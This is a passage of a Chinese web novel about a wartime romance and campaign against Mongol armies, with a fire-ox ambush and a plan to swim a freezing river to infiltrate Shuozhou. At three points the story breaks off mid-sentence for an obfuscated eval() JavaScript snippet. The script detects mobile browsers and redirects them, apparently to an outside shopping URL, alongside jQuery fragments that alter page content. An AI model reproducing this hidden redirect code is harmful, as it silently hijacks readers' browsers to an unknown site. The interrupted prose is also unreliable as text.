过了一会儿,丫鬟回来答复道:“叶小姐,凌将军现在还没有回来。” 芷萱一听,心中便满是担心:“这时都已经天黑了,那个家伙不会还待在那个山谷吧?”她几乎想出去找找凌牧云,可想了又想,还是按下了这个想法。 芷萱冲着丫鬟叮嘱道:“好的,知道了,你去忙吧,记住一会儿再去看看凌牧云回来没有。如果他回来的话,你立即来告诉我。记住,是立即啊。” “好的,叶小姐。” 芷萱又重新回到房间,继续在那里傻坐着。她一遍又一遍地在心里对自己说:“自己是讨厌凌牧云的,一定是的,我今天只是不忍心把事情做绝,才有点内疚,一定是这样的。”好像有了这种心里暗示,她就可以忘记今天下午发生的一切,她就可以当做今天下午什么都没发生,她就还可以跟凌牧云回到从前的相处模式。只是这是不可能的了,有些事情一旦发生了,便再也回不去了。在凌牧云的问题上,芷萱已经不止一次自欺欺人了,她自己也心知肚明。 直至戌时,芷萱听到有人敲门,她连忙跑过去开门,见是刚才那个替自己去打听的小丫头,一时喜上眉梢,“他回来了?”还没等丫鬟开口说话,芷萱急不可耐地问着。 “是的,小姐,凌将军回来了。” 话音一落,芷萱的一颗心终于归了位。虽然她也知道以凌牧云的武功天下恐怕难遇敌手,可是这么晚了人还不回来的话,芷萱还是担心凌牧云在外边出事,毕竟北都是刚刚被夺下的,有一些蒙古察子藏在附近也说不定。 “小姐,还需要我做些什么吗?” 这时,芷萱回过神来,冲着丫鬟说道:“好啦,你去忙吧,没事了。” 丫鬟转身刚要走,芷萱再次叫住丫鬟,“等等……” 丫鬟转过头,微微一笑,“小姐,请问还有何吩咐?” “那个…那个家伙肯定没吃东西,你去厨房端碗热汤面给他送去。他不吃香菜,面里不要放。切记,可千万别说是我让你送的。” 丫鬟略露难色,“那如果凌将军问是谁让我给他送的面,那我怎么说呢?” 芷萱思忖片刻,“嗯…你就说是叶阳晨叶帅给他做的。” “好的小姐,我这就去。”丫鬟微微点头后欠身离开。 芷萱回了房间,漱洗后躺在床上却怎么都睡不着。她总是不由得想凌牧云此时在干什么,有没有在生自己的气,还有没有很失落。平日里,芷萱都是跟温映雪住一个房间,今天她的情绪很差,怕小雪看出端倪,她都没敢跟小雪住在一起。 这一夜,芷萱睡睡醒醒、迷迷糊糊,好像睡了一小会儿,又好像整夜根本没有睡着。 天大亮了,昨夜芷算是直挺挺地躺了一夜,现在感到浑身酸痛,索性就起床了。看着外边阳光不错,她便出了房间走到抄手游廊那里坐下来晒晒太阳。 阳光亮眼,可芷萱的心情却不怎么明媚,她时不时唉声叹着气。长这么大,她不开心的时候还很少见。 不一会儿,温映雪走了过来,“我的大小姐,发什么呆啊?是谁惹你生气了?” “还能是谁?还不就是那个狗皮膏药。” “又是牧云啊?人家不就是想让你跟着去打仗嘛,这是多大的事啊?至于你气成这样?”映雪猜芷萱这次气的不是出征打仗的事,她故意这样说,就是逼着芷萱说出心里话。 芷萱轻咬下唇,“不是那么简单的……” “不简单?能有多复杂?你整日没事找事挤兑人家,还一会儿说人家喝酒喝得多,一会儿又不准人家开玩笑,你这么霸道,兄弟们都快看不下去了。” 芷萱嘴唇翕动,“那家伙昨天跟我表露心迹了,让我嫁给他,还要找我哥去求亲。” 芷萱突然的一句话令映雪面色一滞,但很快映雪的嘴角随之微微勾起,“他真的说了?牧云的坦率还是挺对我胃口的,我就讨厌那种做事犹豫不决、瞻前顾后的人。” 芷萱很诧异,“你之前就知道凌牧云会说?” “恐怕我们这一群兄弟姐妹里面,就你自己不知道吧?这也不奇怪,你就没有情爱这根神经。其实也不能说你没有,你只是在自欺欺人罢了。我看着他瞅你的眼神,就知道这家伙藏不了多久了。” 芷萱沉默不语,从小到大,她的心事从来就瞒不住小雪的。 温映雪随口问道:“怎么?你把他拒绝了?” “你怎么知道的?” “这不废话吗?你要是答应了他,你还会坐在这里发呆吗?” “谁…发呆了?”芷萱说话完全没有底气。 “不是发呆,那就是多愁善感。我可从来没见你有多愁善感的时候,你可不要吓我。” 芷萱试探问道:“雪儿,那我…现在…该怎么办啊?” “什么怎么办?你拒绝都拒绝了,还问这种问题?难道你后悔了?你在纠结什么?喜欢就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074682|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应,不喜欢就拒绝。” “没那么简单的。” 映雪玩味一笑,“呦,从小到大,都不见你这么优柔寡断过。在你的世界里,不都是快意恩仇,随性而为吗?怎么到了凌牧云这里就坏了规则啊?” “昨天他被我拒绝后,一副伤心要死的样子,我心里也挺不好受的。” 映雪故意打趣芷萱,“你这是要贩卖同情心吗?你是这样的人吗?而且你不是常日里总说凌牧云是讨厌鬼吗?讨厌鬼伤心不是活该吗?”映雪说话从来直来直去,不带一丝拐弯抹角。 芷萱的眉头绞在一起,“不是这样的。” “那是怎样?” 芷萱一时被问得哑口无言。 其实经过这段日子相处,芷萱心里已不再那么讨厌凌牧云。可每次只要见到凌牧云,她还是不愿意给牧云好脸色看,因为芷萱一想到凌牧云曾看到过自己的身体,她便总有一种失身于凌牧云的感觉,这一层亲密关系,总会令芷萱无所适从。 不过心中这些复杂的感觉,芷萱却无法对旁人讲,哪怕对方是映雪,这么私密的事,她也是不愿意说出来的。不是芷萱不信任小雪,而是如果告诉小雪自己与凌牧云发生过“亲密关系”,她会非常难为情。 良久,温映雪才伤感说道:“芷萱,咱们洒脱的人不要做纠结的事,所以不要再骗自己了,你对牧云是有好感的。”刚刚那一番戏谑之言,也是映雪故意说给芷萱听的,其实就是想让芷萱看清自己的内心。当然了,人都是旁观者清,看别人的事总是看得明白,轮到自己时就变得当事者迷了,映雪亦如此。 叶芷萱没有承认,也没有否认。 映雪继续说道:“芷萱,我知道你不喜欢听到凌牧云这个名字,尤其不喜欢听到从我口里说出来,但是为了你的幸福,我却不得不说的。” “牧云很好,很好很好,可我所说的好,不是指他的外貌,也不是指他的武功,而是他真心待你的心,有时看着他心里装你装得满满的,看着他为了你舍弃一切,我这个旁观者都会很感动。” “当然,感情的事要两情相悦,不是他很好,你就一定要托付终身,只是这次错过了牧云,你还会遇到值得托付的人吗?毕竟,能遇到一个真心对你的人也是极不容易。” “萱萱,时光不语,岁月悠长,无论现在还是以后,如果有可能,我还是希望你能获得幸福的。” 虽然是从小一起长大的姐妹,虽然彼此是那般了解,但小雪突然说出这番话来,芷萱还是会很感动。 良久,叶芷萱垂着眉眼问道:“小雪,我还想问你,有好感就一定要在一起吗?” “应该说有好感也不一定能在一起,但是你会想跟有好感的那个人在一起。择一良人共度余生不好吗?一辈子其实很短暂,即使飞蛾扑火,也要轰轰烈烈爱一回,才不枉此生。” 芷萱侧头看向映雪,追问着:“即使失败了也不后悔吗?” 温映雪抬头看着湛蓝的天,神色黯然,“飞蛾扑火,飞蛾后悔过吗?谁是谁的债,谁是谁的劫,都是早就刻在三生石上的光,照亮来世,生生往复。” 听了小雪的话,芷萱突然心情转好了些。在芷萱眼中,小雪平时话不多,又很少笑,但爱憎分明、恣意洒脱。时间好像在那一刻静止,两个姐妹依偎在了一起。 139. 第一百三十九章 三日后,叶清扬和凌牧云分别带着两路人马从东、西两路向北进军,只不过两人的战术完全不同。 由于出发的时间很紧急,叶清扬和林诗怡离开北都时还没有想好接下来这场硬仗具体该怎么打。 行军半个月,叶清扬带着队伍一路行至距平朔东部四州100里左右的位置。林诗怡下令让部队停止前进,没有万全的准备,她不准备让部队冒然进攻。 军队在原地休整的那几天里,诗怡日夜站在舆图前研究着出奇制胜的战法。叶清扬总是陪在诗怡身边,困了就趴在几案上睡一会儿。安然也陪着他们两人,不肯离开半步。 直至突然有一天晚上,诗怡突然看着地图笑出了声。 安然立刻坐起来,双手揉了揉眼睛,把眼睛瞪得大大的,“诗怡姐,刚才是你在笑吗?” 诗怡逗她道:“没有啊,我没笑过啊!” 安然皱了皱眉,自言自语道:“难道是我梦里听到的声音?好奇怪呢。” 昏昏欲睡的叶清扬也突然精神起来,连忙跑过去问道:“诗怡,你可是想到了什么奇思妙计吗?” 诗怡嘴角露出甜甜的笑,“这个办法应该可以一试。” “什么战术?” “派一路纵队穿插至敌人后方,然后来个南北夹击。” 叶清扬皱眉,“平朔东部四州都有蒙古守军严防,已成铁板一块,我们是不可能潜入到敌人“后背”的。” 林诗怡目光如炬,用手指着舆图上的河流。 “运河?”叶清扬眉毛一挑,“你是说我们走运河?” 林诗怡笑着点头,“正是,运河正好穿过东部四周。那海之子伊勒德为了充实粮饷,并将中原物资源源不断地运回蒙古,并没有关闭运河航道,这就给了我们机会。我们可以通过运河潜伏到敌后,那么在我们的夹击之下,伊勒德的部队就成了瓮中之鳖。” 叶清扬眼神一亮,“果然是妙计。”不过很快,叶清扬又皱起了眉头,“可是敌人在运河上的检查也是层层设防,咱们的兵卒如何在人家眼皮底下顺利过去呢?” 诗怡计从心生,“我们的士兵可以乔装成贩运粮食的商人,商船上装着粮食,既可掩人耳目,又可充做粮饷之用。至于兵器,可以绑在船底,即使敌人搜船,也不会发现任何异样。还有就是商船要分批走,如果突然多了那么多商船,敌人也会生疑。” 叶清扬连连点头,“那这个计划让军中哪个副将去执行?” “我亲自去。”诗怡语气坚定,声音铿锵。 “那怎么行?你一个人去我不放心,这太危险了。” 诗怡娇俏一笑,“算你还有点良心,还知道关心我,没有笨到家。” “你说的这是什么话?我当然关心你,我不会同意你自己去的。” 诗怡神色郑重,语气柔和,“我的木头有这颗心我就知足了,只是此战非同一般,别人去我不放心,而且这个计划是我制定的,我亲自去也更容易随机应变。你想啊,我们这个战术若是成功了,便可事半功倍。” 叶清扬也知道诗怡说的话颇有道理,只是他还是心里有些放心不下。 见叶清扬依旧在迟疑,诗怡央求道:“你就放心吧,好不好?以前算命的就说我将来能成为女将军,可女将军总要上次战场,不能总躲在营帐里啊!我就想当一次女将军,你就成全我啊?” 清扬没说话,也没点头,只有眉头紧皱着。 “这次你听我的,以后再遇到事,我就听你的,这总行了吧?”说完,诗怡的嘴角微微勾起,娇俏可人。 安然看向叶清扬,“清扬哥,你就答应嘛。有我陪着诗怡姐,你放心吧?” 诗怡突然一愣,脸上同时挂着笑,“我可没说带着你啊。” “安安不依,我也怕你有危险,你带上我多少有个照应的。” 诗怡翻了个白眼,“你照应我?还是我照应你啊?” “你不要小瞧人嘛!你们都见过安安还是有本领的。”安安双手攥住她的胳膊晃悠着,“诗怡姐,你就带上我嘛,我是真的担心你。如果你不带上我,我就到处乱跑。” 换做别人,被这丫头“威胁”可能就瞪眼睛了,但是诗怡性格里跟安然有相似的地方,她能理解安然孩子气的地方。诗怡噘起嘴,假装生气道:“死丫头,就知道吓我。我可以带着你,但是你要听我话,不许做危险的事。” 安然挎住诗怡的胳膊,用脸像小猫一样蹭了蹭,“我听话就是了。” 清扬冷着脸,“你们俩说得这么起劲,我可没答应安安去。” 安安犹如被人泼了冷水,躲在诗怡的怀里噘起小嘴,“诗怡姐,你看清扬哥啊!” 诗怡轻抚安然的头,随即看着清扬,温柔说道:“算了,还是我带着她吧,你也好专心执行作战计划。咱们这个妹妹可不安分,你不同意她跟着我,她到时候乱跑可怎么办?” 这会儿清扬有点后悔带安安出来,万一有个闪失他可怎么跟哥哥交代啊?此时为了大局着想,叶清扬只好同意诗怡的建议。 计划虽有了,但是准备工作千头万绪。首先就是要租几十艘商船,一次性找到这么多船是不容易的,只好以更高的价格与船商商量。再就是准备好运河放行的通行证,这是此行的关键。 最终,林诗怡决定只带三万人绕到敌后,她估算过,如果只是断敌退路的话,这些人也基本够了。受船上载人的限制,也防止蒙古兵查验船时发现有异,这三万士兵将在十天内,以每天十几艘船按批次通过运河。前九天由军中偏将押船过河,最后一天诗怡将亲自坐阵。 一切准备就绪后,那日夜里,第一批先遣队出发了。绕到敌人后方后,偏将以飞鸽传书传信,诗怡和清扬得知计划一切顺利。 很快,第十日到了,诗怡带领最后一批出战的队伍出发。叶清扬亲自去码头送行,他拉住林诗怡的手,“你一定要小心,不要逞强。”说话时,他内心的紧张溢于言表。 林诗怡的眼角里也是柔情和感动,她浅浅一笑,“你还是第一次这样呢。”诗怡清楚自己的爱人最不善言辞,要不是很担心自己,也很难说出关心的话来。 由于是第一次见叶清扬这么紧张,林诗怡觉得这样的叶清扬甚是可爱,心里也溢满了甜。 叶清扬感觉心中有千言万语,却不知怎么说出来。 林诗怡为了安抚清扬紧张的情绪,玩笑道:“放心吧,向来只有我让别人吃亏的。我这次一去定能功成,到时让阳晨哥给我请功。” 在这点上,叶清扬也是知道诗怡的本事的,论鬼点子,几乎没人是诗怡的对手。可话虽如此,清扬依然无法真的放心。 依依惜别中,见叶清扬对自己那么不舍,诗怡踮起脚,在清扬的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090753|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊处轻吻了一下。 突如其来的温存,清扬觉得有些意外,又有些美好,他想这大概就是幸福的感觉吧。 诗怡附耳轻声道:“等我下次见面,我再好好奖励你。” 安然用双手蒙住眼睛,从指缝中间看过去,“哥哥姐姐,你们俩不害羞。” 大庭广众之下,当着自己的兵面前,又被安然笑着,叶清扬一时憋得满脸通红。诗怡性格开朗跳脱,又纯真无暇,反倒没有一丝做作。这种当众示爱的行为,也就诗怡做得比较坦然,换做另外三个女孩怎么都会不好意思。 离开前,诗怡正色说道:“清扬,半个月后,你发动攻击。”叶清扬会意。 由于平朔九州南北距离太远,星光昼的可视范围达不到,两人便只好提前约定进攻时间。 诗怡上了船,与清扬挥手告别。船起锚的那一刻,清扬这样“铁”打的汉子,也不禁胸口狠狠地绞痛了一下。船缓缓离开,两人对视,渐渐看不清彼此的脸。随着商船远去,一场恶战已不可避免。 商船行至第二天晚间,到了伊勒德的势力范围。 即使递上了通行证,一个看似是少尉的军官依旧要上船检查。那个军官好像有所察觉似的,不放过每一个细节。 蒙古少尉蛮横道:“船上这么多粮食是怎么回事?准备运到哪里?” 林诗怡沉着冷静,“军爷,我们这些粮食是送到归化的。那海王说大战在即,要储备军粮。” 对方只是一个少尉,如何能分辨出那海是否真有这种战略。此前北都丢了,蒙军战败,那海像丧家之犬一样逃回到平朔一带,这世人皆知,蒙古人更是觉得是“奇耻大辱”。这些蒙古人坚信他们的那海王不会如此窝囊,肯定会带兵打回来。所以少尉听林诗怡说大战在即,蒙古少尉也觉得合情合理,加之诗怡口才了得,说的话头头是道,也就相信了,于是便放行了。 诗怡在行船的那几天里,就反复在想对付伊勒德以少胜多的御敌之策。诗怡想织上一张大网,断了敌人北逃的路线。但同时,她的心里也清楚,如果敌人拼死冲杀,以她带来的区区三万人,恐怕还是有些力不从心。诗怡知道,要想以弱胜强,就必须借助外力。此时正是秋高气爽的时节,天气干燥不说,连日来又多刮北风,种种因素,诗怡便想到了火攻。 林诗怡的“商船”行了九天,终于到了平朔东部四州的北部。 下了船,军队到了既定位置后,林诗怡立即着手准备布防。诗怡令全体士兵成“一”字形横着排开扎营,长几十里的一条线上都是帐篷。诗怡这样扎营有特殊的考量,她要用阵法阻击敌军。 按照她和叶清扬定的日子,六天后,骁阳军即会北攻,时间算不得充裕。诗怡便立即安排下去,让人准备四样东西,分别是牛、芦苇草或稻草、利刃和燃油。下面的人都不知道怡将军要做什么,但依旧照做。 六日后,一切基本准备就绪。诗怡命几个斥候去前方打探,如果伊勒德那边有动静,随时来报。诗怡算着时间,按照她和叶清扬约定的时间,清扬会在今晚从营地出发,并会在明日晚上与那海之子伊勒德正式交战。而蒙古兵后逃到诗怡这边的阻击线大约会在清扬与伊勒德正式交战的三日后,诗怡还有充分的时间完善自己的阵法。 诗怡已把带来的三万人平均分布在平朔东部四州的北部,就等着北逃之敌落入“口袋”。 140. 第一百四十章 与此同时,叶清扬已号令三军,命队伍今晚戌时出征。这些日子,叶清扬每天倒数着进攻的日子,简直度日如年。他知道,出征就意味着要与诗怡团圆了,更意味着打败伊勒德夺回平朔东部四州。 晚上戌时一到,叶清扬感觉自己心在燃,血在烧,他带领骁扬军全速前进,剑指朔北。叶清扬相信诗怡此时已经有了万全的准备,此一战,他们必胜。清扬性格刚猛勇直,大战在即,他没有一丝惧怕,反而多了志在必得的信心。 第二日夜,当叶清扬带着大军突然杀入敌营的时候,那海之子伊勒德措手不及,整个蒙军慌作一团。这一次,叶清扬是不宣而战,长途奔袭后却未丝毫犹豫停留便直捣黄龙,蒙古军完全没有心理准备。蒙古人怎么可能有这种心理准备呢?丰国几时这么强悍过啊?丰国士兵作战又何时这么勇猛过啊? 对清扬来说,他兵力的一部分被诗怡分走,自己目前手上的兵力较敌军不占优势,所以他只能“兵行险招”,不过这种“激进”些的战法倒是对清扬的胃口。清扬信奉“胜利险中求”,他坚信只要自己的刀足够锋利,就一定能刺穿敌人的防线。 战事突然,那些蒙古兵极其狼狈,有的没戴头盔,有的铠甲未穿,更有甚者没穿裤子便往外跑。 刚刚经历过的北都一战,那海的将士兵勇落荒而逃,自那之后,蒙古人还是泄了诸多锐气。他们吃了败仗后狼狈地逃到平朔九州,还未来得及重整旗鼓,也还没喘息休息几日,所有人甚至根本没想到骁扬军会这么快地追过来。 这么多年,蒙古兵早已习惯了挥着战刀追着汉人跑,那种心理优势令蒙古人嚣张跋扈、不可一世。但蒙古人想不通的是,为何一夜之间,汉将兵勇竟变得如此骁勇善战、所向披靡。 骁扬军先声夺人,往来冲杀,蒙古兵丧失了抵抗意志。丰国士兵体内的血性一旦被激发出来,如汹涌浪潮一般势不可挡。 见丰国将士士气高昂,自己这边又死伤惨重,伊勒德不敢恋战,下令且战且退。他知道如果再不撤退的话,恐将全军覆没。 双方交战的第二日中午,林诗怡派去的探子快马赶回来报告说,前线已经打起来了,并且清将军大获全胜。 得知消息后的林诗怡笑得神采飞扬,她立即下令,务必让三万将士全部知晓伊勒德快则三至四天,慢则四到五日后,就会带着溃逃的敌军就会赶到此地。林诗怡让探子守在离营地以南30里处,作为前端警哨,如有敌军逃过来,快速回报。 四日后的中午,警哨回来报信。诗怡对身边副将下令:“传我将令,天黑后,立即燃放星光昼。让全体士兵做好准备,北逃蒙军将在五个时辰左右后到。” 余下的时间一秒一秒过去,林诗怡就站在营帐外,静静看着夕阳渐渐西斜。那天,落日熔金染红天际,暮云合璧绚如彩烟,这样美的画卷,真令人陶醉。但所有的静谧都只是暂时的,而又一场恶战正慢慢靠近这里。 待天完全黑下来,林诗怡所在的大本营首先向天空燃放“星光昼”。随之,以大本营为起点分别向左右两边扩散,每隔几里便燃放一颗“星光昼”信号弹,确保“一”字阵上的士兵都能收到指令。这是事先告知好的,“星光昼”升空就意味着敌军就要来了,林诗怡带来的三万骁扬军皆严阵以待。 与此同时,叶清扬也看到了星光昼,他的嘴角微微上扬。虽然叶清扬一直相信诗怡的能力,可看到了星光昼升空,他的心才算完全归了位。这也让叶清扬的信心更足,他紧紧追杀着北逃的敌人。 远处的厮杀声越来越近,林诗怡便知道敌人来了,剩下的只是等待敌人落入“口袋”。清扬的攻杀只是“前菜”,而诗怡的阻击才是对敌人致命的绞杀。 蒙古残兵光顾着逃跑了,他们还不知道即将闯入林诗怡为他们设的火牛阵。 此时,在诗怡的军阵前站满了一头头黄牛和黑牛,有的阵前牛的数量不够,也用马、驴和骡子代替。牛角上绑着利刀,牛尾上则绑着浸了油的芦苇或稻草。诗怡并不慌乱,待敌人来到离自己军阵只有两里左右时,她高声喊道:“点燃牛尾的草。” 同时,诗怡再次下令燃放星光昼,随之朔北防线的骁扬军相继燃放起星光昼。得到指令后,瞬间,“一”字阵上所有牛尾巴上的草皆被点燃。火燃得极快,牛立刻受了惊吓后,拼命地朝着蒙军阵营冲去。 蒙古兵看到不远处有一群牛像了疯了一般跑来,便知大事不妙,不过此时想要躲闪已经来不及了。 牛几乎是狂奔着冲入敌军,四处乱撞。由于蒙古兵善骑马,牛尾上带来的火也波及到马尾和马鬃。一时间马嘶牛哞声震天,惨烈无比。 有的蒙军跌落马下被踩死,有的蒙军被牛角上的匕首和刀刃刺入胸前、喉咙,有的蒙军甚至被火活活烧死,一时间,蒙古兵死伤更为惨重。 蒙军虽然乱作一团,但依然没有忘记逃跑。但即使逃出了火牛阵,也被火牛阵后面诗怡的军队斩杀完。诗怡之前便通知所有人,如遇残兵败将,或擒或杀,总之不能放过一个漏网之鱼。 蒙军见北逃之路被火牛阵堵死,又想改为从南面突围,可往南撤时再次遭到了叶清扬的堵截。蒙军果真成了瓮中之鳖,进退维谷。 诗怡光顾着指挥战争了,待战事进行到尾声,她才反应过来,一直没有看到安然。诗怡急着骑上一匹马,在随军护卫的保护下去前方战场找安然。虽然诗怡的骑术一般,但安然要是真出事了,她可承担不起。 待马跑得离战场近了些,诗怡东看西望,开始在两军交战中找寻安然的身影。寻觅半晌,她远远地看到安然正骑在一头火牛背上,那丫头手里拿着蒙古刀正杀得痛快。那头火牛四处乱窜,安然坐在牛背上笑得是那么肆意妄为、没心没肺、幸灾乐祸、开怀得意。诗怡翻了个白眼,感叹幸好安然的轻功不错,否则尾巴被点燃的牛几乎是疯癫的状态,她如何骑得稳,这要是真从牛背上摔下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104568|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来可不得了。 在军中待久了,安然一直想像她的那些哥哥姐姐一样立战功,这次出来她就想找机会杀敌。至于骑着一头火牛冲到两军交战的战场,这是安然一时的奇思妙想。安然的性格就是那般天真烂漫,即使是在残酷的战场上,她也能找到快乐的元素。 这时,赶来的清扬也看到了安然,他连忙骑马冲到安然骑着的火牛前,飞跳过去一把搂住安然的腰,把她从火牛背上救下来。 安然噘着小嘴,“你干嘛抱我下来?我还没杀过瘾呢,我还要继续杀敌。” “你再胡闹,下次我就不带你出来了。” 安然任性也要看人,清扬比十二将星其他人看上去要更凶一些,所以她不敢在清扬面前太过放肆。安然露出灿烂的笑,“清扬哥,我今天好厉害,杀了好多蒙古人,回去你要给我记大功的,我猜这回哥哥大概会奖励我好多烤鸡腿。” 清扬性格再冰冷,在这个小妹妹面前也严肃不起来,“你还是要注意安全的,后面你要听话,要乖乖的。” “我知道了,你放心吧,我的反应也是很快的,他们那些鞑子伤不了我的。这次出来真值的,在杀敌中玩,在玩中杀敌,太过瘾了。” 叶清扬本就笨嘴拙舌的,见说不过安然,也就冷着脸不说话了。 这场绞杀战整整打了一个时辰,除了少数的蒙古兵逃掉,少数被俘虏,伊勒德带领的八万人几乎全军覆没,连伊勒德自己也被叶清扬追杀时用沉月长□□死。 蒙古兵被全歼,此战结束了,叶清扬打马冲过去与诗怡会和。 远远看见诗怡的时候,叶清扬立即翻身下马。他快跑了几步,突然脚步慢了下来,朝着诗怡走过去,而诗怡就那么站在原地一动不动,只是背着手娇俏地看着清扬笑,静静地等着清扬走向自己。 叶清扬走到诗怡面前,激动地将人一把搂住,“诗怡,吓死我了,以后无论再打什么仗,我都不会让你一个人冒险了,我也不会再跟你分开了。就这一次,就这一次,以后绝不,绝不……” 诗怡从未听叶清扬说过如此直白的“情话”,尽管没有那么浪漫动听,但情意是满满的,那份担心惦记也是实实在在的。 林诗怡俏皮一笑,“你看我不是好好的吗?这次我也终于过了一次女将军的瘾,这种感觉真棒。”其实最棒的事诗怡没有说出来,那就是能和自己的心上人一起上战场,一起经历生死,此生无憾。 叶清扬虽然不懂得浪漫,但是那一天他把诗怡搂得特别紧,好像只要稍稍一松手,人就会不见了似的,诗怡感觉自己的骨头都要断了。但胜利的喜悦下,诗怡喜欢这样被清扬抱着。 东部四州被顺利夺回,叶清扬的部队便在原地休整了。仗打完的第二天,叶清扬便给哥哥叶阳晨送去了捷报,捷报里他毫不掩饰把诗怡从头到脚夸了个遍。 叶阳晨收到消息后,乐得几天睡不着觉,他真希望能尽快收到第二份捷报。 141. 第一百四十一章 叶清扬的这一仗,虽然时间跨度也很久,但一举成功,也算没有枉费之前的筹谋和准备。 相较于叶清扬,凌牧云这边就没有那么顺利了,直至此时,他仍带着部队在鏖战中。 开战之初,除了最西边的朔州,对于其余四州,凌牧云对它们采用的是分割包围之术,即将军队分为五路纵队,然后将四州砍成四段进行圆形包围,令四州之间不能相顾、不能支援。 这种战术极为奏效,被包围的敌人完全慌了,这种情况下蒙古人也无心恋战。凌牧云也预判过战局,如果能全歼敌人最好,如果敌人拼死突围,索性放开他们北逃之路,拿回四州即可。最终敌人拼死杀出圆形包围圈,凌牧云在很短的时间内,将西部五州拿回了四个。 朔州没有与其余四州一起攻打,是因为它的地理位置特殊,且易守难攻。所以凌牧云才想吃掉其它四州后,回头再专门去啃这个“硬骨头”。 朔州自古就是兵家必争之地,战略位置尤其重要。俗语也说:“平朔有九州,朔州鳌为先。”可见朔州的意义非其他八个州能比。 在舆图上看,朔州的位置处在蒙古瓦哈国都归化的正下方,丰国北都的正上方。朔州城的东边是光明峰,西侧是冷水江,属于典型的山水夹一城,由此形成天然的狭长关隘。 对于蒙古人来说,有朔州在手就意味着封住了丰国的喉咙。朔州之下,无险可守,那海随时可以领兵直下,像利剑一般插向北都。而对于汉人来讲,夺回朔州,就等于打通了去往归化的路。蒙古人没了朔州这个天然屏障,骁扬军便可长驱直入。也正是因为朔州的重要性,那海才会亲自守在这里,更是派重兵精锐在此布防。 凌牧云曾佯攻朔州城两次,但由于敌人占据地利,所以并没有露出丝毫破绽。 凌牧云知道在此情况下,如果强攻硬攻,可能胜算的概率不大。即使硬攻下来,也是必定造成大量战斗减员的惨胜。他想了七天七夜,终于在心里下了一个决定。 那天军事会议上,凌牧云对几个副将偏将宣布了自己攻打朔州的作战计划,“兄弟们,为今之计,为减少伤亡,我决定先由我去探探朔州城的情况。” 芷萱坐在下首,带着怒气道:“你怎么去探虚实?现在朔州城已封城,城门不分昼夜地关着,你怎么可能在敌人眼皮底下混进城去?”平日开会,芷萱通常不发言,这次听凌牧云要独闯朔州,她终于听不下去了。 “我从冷水江过去。”说这话时,牧云带着破釜沉舟的决心。 芷萱眉头锁得更深,“你怎么从冷水江过去?冷水江水流过于湍急,无法划船,再说划船目标太大,容易被敌人发现。” 凌牧云直接说出心中想法,“所以我决定游过去,横渡冷水江后,再翻城墙入城。” “你要游过冷水江?”芷萱简直不敢相信,因为这无异于疯子的做法。 凌牧云点点头。 芷萱霍地站起来,“你疯了吗?现在已快入冬,冷水江奇寒,你这样不要命了吗?” 凌牧云解释道:“我身体底子好,水性也好。况且这是我能想到的,唯一能减少将士伤亡的办法,我一个人冒险,总好过于让兄弟们一起冒险赴死,就是战死也值了。至少我想办法把城门打开,这样仲华和石磊攻城就容易了。” 一旁的仲华和石磊异口同声道:“帮主,你一个人去太危险,要不我们和你同去。” 凌牧云摆手,“都别说了,人去的越多越容易被发现。” 芷萱声色俱厉,“总之我不同意。”凌牧云要以命相搏,芷萱担心极了,再也做不到不管不问。 凌牧云的脸也冷下来,“我是主帅,我说的算。” “你……”芷萱气得别过头去,然后小声嘟哝着,“谁要管你?你死了才好呢。” 凌牧云也不理会叶芷萱,下令说道:“芷萱、石磊、仲华,我今晚就会行动,你们三人做好万全准备守在城外,如果你们看到我发射星光昼,就带着全军立刻攻城。到时候不管攻城难度有多大,都必须把朔州给我拿下来。” 石磊和仲华朗声答应,芷萱并不说话,仍在那儿生着闷气。 凌牧云语气铿锵,“好啦,今天的会议就开到这里,你们都出去吧。时间紧迫,你们各自去做些战前准备。” 众将领得令后皆起身快步离开营帐,只有芷萱还坐在那里生着闷气。 帐内安静得很,两人都不肯先开口说话。凌牧云在准备一会儿出发要带的东西,他不是不想理睬芷萱,而是很多事情身不由己,他身为主帅,是要为万千士兵的性命负责任的。而且这次出来,凌牧云是跟叶阳晨立过军令状的。虽然即使拿不下朔州,叶阳晨至多对他小惩大诫,可凌牧云这人自尊心极强,做事又力求完美,不想给自己留下遗憾,更不想在叶阳晨面前失了信诺。 半晌,芷萱强压下怒气,转为柔声劝道:“我们都已经拿下四州了,即使朔州打不下来,我们也算战果累累了,你又何必冒那么大的险呢?如果你是怕我哥那里没办法交代,我去找我哥说。” “战果累累?在我凌牧云这里只要不是完全的胜利,就谈不上什么战果。而且男人靠实力说话,让你去跟阳晨哥求情,我就不汗颜吗?” 